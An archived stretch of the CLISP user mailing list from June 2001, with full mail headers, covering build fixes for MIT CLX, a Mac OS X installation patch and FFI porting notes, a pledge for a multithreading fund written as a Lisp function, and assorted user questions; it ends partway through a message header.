[12.25.11.194]) by user1.channel1.com (8.9.3/8.9.3) with ESMTP id NAA21560; Fri, 8 Jun 2001 13:08:56 -0400 (EDT) X-Envelope-To: To: Paolo Amoroso Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Error building MIT CLX under Linux References: Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: Date: 08 Jun 2001 13:08:17 -0400 Message-ID: Lines: 24 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.0.104 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: > * In message > * On the subject of "Re: [clisp-list] Error building MIT CLX under Linux" > * Sent on Fri, 08 Jun 2001 09:14:44 +0200 > * Honorable Paolo Amoroso writes: > > On 07 Jun 2001 13:40:45 -0400, Sam Steingold wrote: > > > thanks - fixed. > > get the patch in the same place as sources or do cvs up > > With your patch I am able to proceed further, but then compilation > stops with the error: > *** - FUNCALL: the function GET-SETF-METHOD is undefined > make: *** [stamp.fas] Error 1 the latest patch should fix this and some other problems. mit-clx now builds for me. thanks for your bug reports -- Sam Steingold (http://www.podval.org/~sds) Support Israel's right to defend herself! Read what the Arab leaders say to their people on ((lambda (x) `(,x ',x)) '(lambda (x) `(,x ',x))) From sds@gnu.org Fri Jun 08 10:55:57 2001 Received: from user1.channel1.com ([199.1.13.9]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.22 #1 (Debian)) id 158QUH-0006ZJ-00 for ; Fri, 08 Jun 2001 10:55:57 -0700 Received: from xchange.com (gopher.exapps.com [12.25.11.194]) by user1.channel1.com (8.9.3/8.9.3) with ESMTP id NAA29848; Fri, 8 Jun 2001 13:55:53 -0400 (EDT) X-Envelope-To: To: Ben Hyde Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] MacOSX avcall-rs600-... troubles References: <20010608153143.76489.qmail@zap.ne.mediaone.net> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <20010608153143.76489.qmail@zap.ne.mediaone.net> Date: 08 Jun 2001 13:55:09 -0400 Message-ID: Lines: 17 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.0.104 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: > * In message <20010608153143.76489.qmail@zap.ne.mediaone.net> > * On the subject of "[clisp-list] MacOSX avcall-rs600-... troubles" > * Sent on 8 Jun 2001 15:31:43 -0000 > * Honorable Ben Hyde writes: > > Late in the ./configure it dives down into > src/avcall and invokes make. That doesn't > work out. I've clipped out the offending portion. that's okay - FFI won't work, the rest will. Can you make FFI work on OSX? -- Sam Steingold (http://www.podval.org/~sds) Support Israel's right to defend herself! Read what the Arab leaders say to their people on (let((a'(list'let(list(list'a(list'quote a)))a)))`(let((a(quote ,a))),a)) From dave@cherryville.org Fri Jun 08 11:44:51 2001 Received: from h24-67-104-195.cg.shawcable.net ([24.67.104.195] helo=vc.cherryville.org) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.22 #1 (Debian)) id 158RFa-0007UX-00 for ; Fri, 08 Jun 2001 11:44:50 -0700 Received: by vc.cherryville.org (Postfix, from userid 501) id A2655B76D; Fri, 8 Jun 2001 12:47:10 -0600 (MDT) Received: from localhost (localhost [127.0.0.1]) by vc.cherryville.org (Postfix) with ESMTP id 94FE8B76C; Fri, 8 Jun 2001 12:47:10 -0600 (MDT) Date: Fri, 8 Jun 2001 12:47:10 -0600 (MDT) From: Dave Lee To: Sam Steingold Cc: Ben Hyde , Subject: Re: [clisp-list] MacOSX avcall-rs600-... troubles In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Sam Steingold wrote: > *snip snip* ... > > -- > Sam Steingold (http://www.podval.org/~sds) > Support Israel's right to defend herself! > > Read what the Arab leaders say to their people on > (let((a'(list'let(list(list'a(list'quote a)))a)))`(let((a(quote ,a))),a)) I like your footers, and I see you use Gnus, but where did you get the content for them? Is it all yours? From laheadle@cs.uchicago.edu Fri Jun 08 12:22:46 2001 Received: from customer-xal-180-19.megared.net.mx ([200.52.180.19] helo=bsd.xal.megared.net.mx) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.22 #1 (Debian)) id 158RqI-0000ZO-00 for ; Fri, 08 Jun 2001 12:22:46 -0700 Received: from localdomain ([10.25.70.62]) by bsd.xal.megared.net.mx (8.9.3/8.9.3) with ESMTP id OAA08929 for ; Fri, 8 Jun 2001 14:21:22 -0500 (CDT) (envelope-from laheadle@cs.uchicago.edu) Received: by localdomain (Postfix, from userid 500) id 180B62F6B; Fri, 8 Jun 2001 13:05:56 -0500 (CDT) To: clisp-list@lists.sourceforge.net From: Lyn A Headley Date: 08 Jun 2001 13:05:56 -0500 Message-ID: Lines: 26 User-Agent: Gnus/5.0803 (Gnus v5.8.3) Emacs/20.4 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Subject: [clisp-list] MT project contribution Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: hello, i'm interested in helping out with the MT project, and i'd like to see others contribute what they can, even if it's just a little. So I submit the following contribution which depends on contributions from others. In english, I commit to contributing the average of the highest five contributions offered after this one, with my limit being 50 dollars. If five others don't step forward with some sort of contribution, my contribution is 0. in lisp code, it looks like this: (defun my-contribution (others) "given a list of all the numerical contributions received by the MT project after the posting of this function, returns my contribution" (flet ((average (list) (/ (reduce #'+ list) (length list)))) (if (>= (length others) 5) (min 50 (average (subseq (sort others #'>) 0 5))) 0))) what say ye? -Lyn From laheadle@cs.uchicago.edu Fri Jun 08 13:34:32 2001 Received: from customer-xal-180-19.megared.net.mx ([200.52.180.19] helo=bsd.xal.megared.net.mx) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.22 #1 (Debian)) id 158Sxj-0006GU-00 for ; Fri, 08 Jun 2001 13:34:32 -0700 Received: from localdomain ([10.25.70.62]) by bsd.xal.megared.net.mx (8.9.3/8.9.3) with ESMTP id PAA13335 for ; Fri, 8 Jun 2001 15:33:08 -0500 (CDT) (envelope-from laheadle@cs.uchicago.edu) Received: by localdomain (Postfix, from userid 500) id A3C512F6B; Fri, 8 Jun 2001 14:17:43 -0500 (CDT) To: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] MT project contribution References: <15137.12008.239150.824848@isis.compsvcs.com> From: Lyn A Headley In-Reply-To: don-clispMT@isis.compsvcs.com's message of "Fri, 8 Jun 2001 13:00:40 -0700 (PDT)" User-Agent: Gnus/5.0803 (Gnus v5.8.3) Emacs/20.4 Date: 08 Jun 2001 14:17:43 -0500 Message-ID: Lines: 38 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: [whoops forgot to reply all] >> ((average (list) (/ (reduce #'+ list) (length list)))) (if (>= >> (length others) 5) (min 50 (average (subseq (sort others #'>) 0 >> 5))) Don> Min? I originally interpreted your "limit" as the MAX you Don> were willing to contribute. But I guess it's too late to Don> back out now, isn't it? (Just kidding.) The real problem is my limit is 50. the function returns (min 50 n) making 50 the maximum i could have to pay. Don> what happens when other pledges arrive with amounts depending Don> on other pledges that include yours! I want 5 people to Don> pledge "$1 more than Lyn". don't think I haven't thought about that :-) This is actually an example of a type of problem that i'm very interested in and haven't seen much talk of, problems where communities make decisions in which each individual's choice is motivated by the choices of others. I call them "United we stand" problems. One person who has done extensive work in this area is lorrie faith cranor who wrote her thesis on declared strategy voting, in which each individual's vote is represented by a function which takes into account the preferences of other voters, to minimise the possibility of "throwing your vote away." http://www.research.att.com/~lorrie/dsv.html i'm actually laying down some (open source lisp) code right now to explore these issues in a web community context and hope to release something in a week or two. I'm also interested in thinking about and coding the ramifications specific to the MT project if they should arise. -Lyn From bhyde@zap.ne.mediaone.net Fri Jun 08 15:59:36 2001 Received: from zap.ne.mediaone.net ([66.31.108.127]) by usw-sf-list1.sourceforge.net with smtp (Exim 3.22 #1 (Debian)) id 158VE6-00033s-00 for ; Fri, 08 Jun 2001 15:59:34 -0700 Received: (qmail 79407 invoked by uid 1000); 8 Jun 2001 22:59:28 -0000 Date: 8 Jun 2001 22:59:28 -0000 Message-ID: <20010608225928.79406.qmail@zap.ne.mediaone.net> From: Ben Hyde To: clisp-list@lists.sourceforge.net Subject: [clisp-list] [PATCH] mac osx installation instructions Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Below are patches to the installation instructions against HEAD at the time I did them. They explain how to build on Mac OSX. They worked for me done on a fresh cvs checkout. They reflect what I know, which ain't much :-). Do with them what you will. - ben Index: INSTALL =================================================================== RCS file: /cvsroot/clisp/clisp/INSTALL,v retrieving revision 1.15 diff -u -3 -r1.15 INSTALL --- INSTALL 2000/04/01 00:17:50 1.15 +++ INSTALL 2001/06/08 22:53:32 @@ -8,7 +8,7 @@ Documentation: - INSTALL this text + INSTALL this text, see also Installation below SUMMARY description, summary ANNOUNCE announcement COPYRIGHT copyright notice @@ -32,7 +32,7 @@ src/machine.* auxiliary program src/*.in auxiliary files utils/* auxiliary programs - unix/ installing on Unix + unix/ installing on Unix (including Mac OSX) os2/ installing on OS/2 win32msvc/ installing on Win32, using MSVC win32bc/ installing on Win32, using Borland C/C++ Index: unix/INSTALL =================================================================== RCS file: /cvsroot/clisp/clisp/unix/INSTALL,v retrieving revision 1.4 diff -u -3 -r1.4 INSTALL --- unix/INSTALL 2000/10/31 17:34:10 1.4 +++ unix/INSTALL 2001/06/08 22:53:32 @@ -1,7 +1,7 @@ Installation on Unix: --------------------- -This file describes the standard installation procedure. Special hints for +This file describes the standard installation procedure. Critical hints for some platforms can be found in file unix/PLATFORMS. 1. (Optional) Index: unix/PLATFORMS =================================================================== RCS file: /cvsroot/clisp/clisp/unix/PLATFORMS,v retrieving revision 1.11 diff -u -3 -r1.11 PLATFORMS --- unix/PLATFORMS 2001/01/31 11:57:33 1.11 +++ unix/PLATFORMS 2001/06/08 22:53:33 @@ -718,18 +718,38 @@ undefined, add -Dn_long='unsigned long' to the CFLAGS in the Makefile. -On Apple PowerPC running MacOS X Server: +On Apple Macintosh PowerPC running MacOS X Server: +This port and platform are not perfect yet. +This is one example way to do "the build". + bash + ulimit -S -s 8192 + export CONFIG_SHELL=`which bash` + $CONFIG_SHELL ./configure the-build + cd the-build + ./makemake --with-readline --withgettext | sed -e 's/ -O / /' -e 's/ -O2 / /' > Makefile + make config.lisp + ... make hand edits to config.lisp ... + make + make check + sudo make install + The /bin/sh shell has at least two bugs which make it unusable for the -configuration scripts. As a workaround, you have to set the environment -variable CONFIG_SHELL to "/bin/bash", and start "$CONFIG_SHELL ./configure ..." -instead of "./configure ...". +configuration scripts. As a work around you will need to install +the bash shell and then set the environment variable CONFIG_SHELL +to "/usr/local/bin/bash" (or where ever your bash +actually was installed) and start "$CONFIG_SHELL ./configure ..." instead +of "./configure ...". The default stack size limit is 512 KB, which is too small for bootstrapping CLISP. Even 1 MB is too small. Try "ulimit -S -s 8192" before starting "make". Remove all optimization options ("-O", "-O2") from the CC and CFLAGS variables in the Makefile. Apple's cc crashes when compiling eval.d with optimization. + +FFI (Foreign Function Interfacing) is not working, yet. Consequentially, +late in the ./configure phase you will get a torrent of errors involving the +file avcall-rs6000.c. These errors maybe ignored. On AIX: From stig@ii.uib.no Fri Jun 08 16:42:36 2001 Received: from eik-192.ii.uib.no ([129.177.192.29] helo=ii.uib.no) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.22 #1 (Debian)) id 158Vtj-0008Lb-00 for ; Fri, 08 Jun 2001 16:42:35 -0700 Received: from apal-192.ii.uib.no (apal.ii.uib.no) [129.177.192.27] by ii.uib.no with esmtp (Exim 3.03) id 158Vtf-0005GD-00 ; Sat, 09 Jun 2001 01:42:31 +0200 Received: (from stig@localhost) by apal.ii.uib.no (8.9.3+Sun/8.9.3) id BAA24034; Sat, 9 Jun 2001 01:42:30 +0200 (MEST) Date: Sat, 9 Jun 2001 01:42:30 +0200 From: Stig E Sandoe To: Lyn A Headley Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] MT project contribution Message-ID: <20010609014230.A23737@apal.ii.uib.no> Mail-Followup-To: Stig E Sandoe , Lyn A Headley , clisp-list@lists.sourceforge.net References: Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: ; from laheadle@cs.uchicago.edu on Fri, Jun 08, 2001 at 01:05:56PM -0500 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Quoting Lyn A Headley (laheadle@cs.uchicago.edu): | hello, | | In english, I commit to contributing the average of the highest five | contributions offered after this one, with my limit being 50 dollars. | If five others don't step forward with some sort of contribution, my | contribution is 0. I'll chip in as well with the same terms as Lyn suggests, if someone devices a suitable payment-model. A community-effort which reminds me slightly of Rousseau appeals to me :-) -- ------------------------------------------------------------------ Stig Erik Sandoe stig@ii.uib.no http://www.ii.uib.no/~stig/ From amoroso@mclink.it Sat Jun 09 04:51:50 2001 Received: from net128-007.mclink.it ([195.110.128.7] helo=mail.mclink.it) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.22 #1 (Debian)) id 158hHM-0004Ap-00 for ; Sat, 09 Jun 2001 04:51:45 -0700 Received: from net145-051.mclink.it (net145-051.mclink.it [195.110.145.51]) by mail.mclink.it (8.11.0/8.11.0) with SMTP id f59Bpes17219 for ; Sat, 9 Jun 2001 13:51:40 +0200 (CEST) From: Paolo Amoroso To: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] MT project contribution Date: Sat, 09 Jun 2001 13:51:18 +0200 Organization: Paolo Amoroso - Milan, ITALY Message-ID: References: <15137.12008.239150.824848@isis.compsvcs.com> In-Reply-To: X-Mailer: Forte Agent 1.6/32.525 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: On 08 Jun 2001 14:17:43 -0500, Lyn A Headley wrote: > don't think I haven't thought about that :-) This is actually an > example of a type of problem that i'm very interested in and haven't > seen much talk of, problems where communities make decisions in which > each individual's choice is motivated by the choices of others. I What about the stock market? Paolo -- EncyCMUCLopedia * Extensive collection of CMU Common Lisp documentation http://cvs2.cons.org:8000/cmucl/doc/EncyCMUCLopedia/ From amoroso@mclink.it Sat Jun 09 04:51:51 2001 Received: from net128-007.mclink.it ([195.110.128.7] helo=mail.mclink.it) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.22 #1 (Debian)) id 158hHP-0004Bi-00 for ; Sat, 09 Jun 2001 04:51:47 -0700 Received: from net145-051.mclink.it (net145-051.mclink.it [195.110.145.51]) by mail.mclink.it (8.11.0/8.11.0) with SMTP id f59Bpgs17243 for ; Sat, 9 Jun 2001 13:51:42 +0200 (CEST) From: Paolo Amoroso To: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Error building MIT CLX under Linux Date: Sat, 09 Jun 2001 13:51:21 +0200 Organization: Paolo Amoroso - Milan, ITALY Message-ID: <3fEhOzXc5KXNC2czI0rM0=AFUrY1@4ax.com> References: In-Reply-To: X-Mailer: Forte Agent 1.6/32.525 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: On 08 Jun 2001 13:08:17 -0400, Sam Steingold wrote: > the latest patch should fix this and some other problems. > mit-clx now builds for me. With your latest patch I am able to correctly build MIT CLX. Thanks, Paolo -- EncyCMUCLopedia * Extensive collection of CMU Common Lisp documentation http://cvs2.cons.org:8000/cmucl/doc/EncyCMUCLopedia/ From lenst@online.no Sat Jun 09 12:41:04 2001 Received: from mail50-s.fg.online.no ([148.122.161.50] helo=mail50.fg.online.no) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.22 #1 (Debian)) id 158obW-0004gz-00 for ; Sat, 09 Jun 2001 12:41:03 -0700 Received: from localhost (ti01a65-0015.dialup.online.no [130.67.9.15]) by mail50.fg.online.no (8.9.3/8.9.3) with ESMTP id VAA10994 for ; Sat, 9 Jun 2001 21:40:44 +0200 (MET DST) Message-Id: <200106091940.VAA10994@mail50.fg.online.no> Date: Sat, 9 Jun 2001 20:59:37 +0200 Content-Type: text/plain; format=flowed; charset=us-ascii X-Mailer: Apple Mail (2.388) From: Lennart Staflin To: Mime-Version: 1.0 (Apple Message framework v388) Content-Transfer-Encoding: 7bit Subject: [clisp-list] standard in/out as binary streams Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Hi, I would like to some how get a bidirectional stream with element type (unsigned-byte 8) connected to the process standard input and output (unix file descriptors 0 and 1). The OS is unix (Linux, Darwin, etc.) and the purpose is to make a server that is started by inetd. Any other ideas how to use CLISP with inetd is also welcome. //Lennart Staflin From amoroso@mclink.it Mon Jun 11 00:47:15 2001 Received: from net128-007.mclink.it ([195.110.128.7] helo=mail.mclink.it) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.22 #1 (Debian)) id 159MPq-0004Bk-00 for ; Mon, 11 Jun 2001 00:47:14 -0700 Received: from net145-082.mclink.it (net145-082.mclink.it [195.110.145.82]) by mail.mclink.it (8.11.0/8.11.0) with SMTP id f5B7kmc00656 for ; Mon, 11 Jun 2001 09:46:48 +0200 (CEST) From: Paolo Amoroso To: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Error building MIT CLX under Linux Date: Mon, 11 Jun 2001 09:46:23 +0200 Organization: Paolo Amoroso - Milan, ITALY Message-ID: References: In-Reply-To: X-Mailer: Forte Agent 1.6/32.525 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: On 08 Jun 2001 13:08:17 -0400, Sam Steingold wrote: > the latest patch should fix this and some other problems. > mit-clx now builds for me. Although it is now possible to build MIT CLX, it apparently exports only a handful of symbols from the XLIB package: [~]$ clisp-clx i i i i i i i ooooo o ooooooo ooooo ooooo I I I I I I I 8 8 8 8 8 o 8 8 I \ `+' / I 8 8 8 8 8 8 \ `-+-' / 8 8 8 ooooo 8oooo `-__|__-' 8 8 8 8 8 | 8 o 8 8 o 8 8 ------+------ ooooo 8oooooo ooo8ooo ooooo 8 Copyright (c) Bruno Haible, Michael Stoll 1992, 1993 Copyright (c) Bruno Haible, Marcus Daniels 1994-1997 Copyright (c) Bruno Haible, Pierpaolo Bernardi, Sam Steingold 1998 Copyright (c) Bruno Haible, Sam Steingold 1999-2001 ;; Loading file /home/paolo/.clisprc ... ;; Loading of file /home/paolo/.clisprc is finished. [1]> (lisp-implementation-version) "2.26 (released 2001-05-23) (built 3200841159) (memory 3201068271)" [2]> *features* (:CLX-MIT-R5 :CLX-MIT-R4 :XLIB :CLX :CLX-LITTLE-ENDIAN :HAVE-WITH-STANDARD-IO-SYNTAX :HAVE-CLCS :HAVE-DECLAIM :HAVE-PRINT-UNREADABLE-OBJECT :CLOS :LOOP :COMPILER :CLISP :ANSI-CL :COMMON-LISP :LISP=CL :INTERPRETER :SOCKETS :GENERIC-STREAMS :LOGICAL-PATHNAMES :FFI :GETTEXT :UNICODE :BASE-CHAR=CHARACTER :SYSCALLS :PC386 :UNIX) [3]> (list-all-packages) (# # # # # # # # # # # # # # # #) [4]> (do-external-symbols (symbol "XLIB") (print symbol)) XLIB:DESCRIBE-REPLY XLIB:SUSPEND-DISPLAY-TRACING XLIB:DESCRIBE-TRACE XLIB:DESCRIBE-EVENT XLIB:DESCRIBE-ERROR XLIB:UNTRACE-DISPLAY XLIB:DESCRIBE-REQUEST XLIB:DISPLAY-TRACE XLIB:TRACE-DISPLAY XLIB:SHOW-TRACE XLIB:RESUME-DISPLAY-TRACING NIL [5]> Paolo -- EncyCMUCLopedia * Extensive collection of CMU Common Lisp documentation http://cvs2.cons.org:8000/cmucl/doc/EncyCMUCLopedia/ From Randy.Justice@cnet.navy.mil Mon Jun 11 05:40:06 2001 Received: from penu1268.cnet.navy.mil ([160.125.255.140] helo=smtp.cnet.navy.mil) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.22 #1 (Debian)) id 159Qyl-00078v-00 for ; Mon, 11 Jun 2001 05:39:36 -0700 Received: from penx68322m1.cnet.navy.mil (pens0394.cnet.navy.Mil [160.125.210.190]) by smtp.cnet.navy.mil (8.9.3 (PHNE_18546)/8.9.3) with ESMTP id HAA23295 for ; Mon, 11 Jun 2001 07:38:53 -0500 (CDT) Received: by pens0394.cnet.navy.Mil with Internet Mail Service (5.5.2653.19) id ; Mon, 11 Jun 2001 07:38:54 -0500 Message-ID: From: "Justice, Randy -CONT(DYN)" To: clisp-list@lists.sourceforge.net Date: Mon, 11 Jun 2001 07:38:53 -0500 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: multipart/alternative; boundary="----_=_NextPart_001_01C0F273.796029C0" Subject: [clisp-list] Gray's Encoding. Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: This message is in MIME format. Since your mail reader does not understand this format, some or all of this message may not be legible. ------_=_NextPart_001_01C0F273.796029C0 Content-Type: text/plain; charset="iso-8859-1" Does a math library exists to convert integers to and from Gary's binary encoding. Randy ------_=_NextPart_001_01C0F273.796029C0 Content-Type: text/html; charset="iso-8859-1" Gray's Encoding.

Does a math library exists to convert integers to and from Gary's binary encoding.


Randy

------_=_NextPart_001_01C0F273.796029C0-- From sds@gnu.org Mon Jun 11 08:29:28 2001 Received: from user1.channel1.com ([199.1.13.9]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.22 #1 (Debian)) id 159TdA-0007Ma-00 for ; Mon, 11 Jun 2001 08:29:28 -0700 Received: from xchange.com (gopher.exapps.com [12.25.11.194]) by user1.channel1.com (8.9.3/8.9.3) with ESMTP id LAA14010; Mon, 11 Jun 2001 11:29:25 -0400 (EDT) X-Envelope-To: To: Paolo Amoroso Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Error building MIT CLX under Linux References: Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: Date: 11 Jun 2001 11:28:50 -0400 Message-ID: Lines: 16 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.0.104 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: > * In message > * On the subject of "Re: [clisp-list] Error building MIT CLX under Linux" > * Sent on Mon, 11 Jun 2001 09:46:23 +0200 > * Honorable Paolo Amoroso writes: > > Although it is now possible to build MIT CLX, it apparently exports > only a handful of symbols from the XLIB package: should be finally fixed. thanks! -- Sam Steingold (http://www.podval.org/~sds) Support Israel's right to defend herself! Read what the Arab leaders say to their people on Please wait, MS Windows are preparing the blue screen of death. From bhyde@zap.ne.mediaone.net Mon Jun 11 10:42:43 2001 Received: from zap.ne.mediaone.net ([66.31.108.127]) by usw-sf-list1.sourceforge.net with smtp (Exim 3.22 #1 (Debian)) id 159Vi2-0002Qo-00 for ; Mon, 11 Jun 2001 10:42:38 -0700 Received: (qmail 7567 invoked by uid 1000); 11 Jun 2001 17:42:33 -0000 From: Ben Hyde MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <15141.776.755798.40871@zap.ne.mediaone.net> Date: Mon, 11 Jun 2001 13:42:32 -0400 (EDT) To: clisp-list@lists.sourceforge.net In-Reply-To: X-Mailer: VM 6.71 under 21.1 "20 Minutes to Nikko" XEmacs Lucid (patch 2) Subject: [clisp-list] FFI - Mac OSX Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Is this approprate forum for discussing the porting of FFI? I compiled *-rs6000.c into .s files; after a certain amount of hand work. It now fails the tests for float and 'long long'. I think what I need to make progress is somebody who thinks they know what their doing :-); or somebody who knows were in the cc sources the argument passing is documented. You have to compile three files into assembler versions; ala: cc- S -o avcall-rs6000-darwin.s -O -traditional-cpp avcall-rs6000.c and modify the Makefile.in to include a clause to use those .s file.s It then chokes when you makemake --with-dynamic-ffi and it gets into some testing. - ben From lambertb@uic.edu Mon Jun 11 10:42:57 2001 Received: from birch.cc.uic.edu ([128.248.155.162]) by usw-sf-list1.sourceforge.net with smtp (Exim 3.22 #1 (Debian)) id 159ViG-0002Qr-00 for ; Mon, 11 Jun 2001 10:42:52 -0700 Received: (qmail 9803 invoked from network); 11 Jun 2001 17:39:49 -0000 Received: from lambertb.pharm.uic.edu (HELO lambertb.uic.edu) (128.248.77.221) by birch.cc.uic.edu with SMTP; 11 Jun 2001 17:39:49 -0000 Message-Id: <5.0.2.1.0.20010611123846.0214c380@tigger.cc.uic.edu> X-Sender: lambertb@tigger.cc.uic.edu X-Mailer: QUALCOMM Windows Eudora Version 5.0.2 Date: Mon, 11 Jun 2001 12:42:37 -0500 To: clisp-list@lists.sourceforge.net From: Bruce Lambert Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed Subject: [clisp-list] editor/interface to CLISP under Win98 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Hi everyone, I have just installed CLISP version: "2.25 (released 2001-03-15) (built 3195500178) (memory 3200321124)" on my Win98 machine. I installed the gnu readline library, but it appears that I do not have readline capability. What have I done wrong? Do I need to reinstall CLISP? On a related note, what is the friendliest interface to clisp under win98. I am accustomed to using Allegro Common Lisp vi emacs on a Unix machine. I'd love to work with clisp via emacs also, but I could use some assistance in getting that to work. Thanks in advance. -bruce Bruce L. Lambert, PhD Department of Pharmacy Administration University of Illinois at Chicago 833 S. Wood St. (M/C 871) Chicago, IL 60612-7231 phone: 312-996-2411 fax: 312-996-0868 From don-clispMT@isis.compsvcs.com Mon Jun 11 11:52:45 2001 Received: from cine-dyrad.cinenet.net ([198.147.117.71] helo=isis.compsvcs.com) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.22 #1 (Debian)) id 159Wnt-0004Cb-00 for ; Mon, 11 Jun 2001 11:52:45 -0700 Received: (from donc@localhost) by isis.compsvcs.com 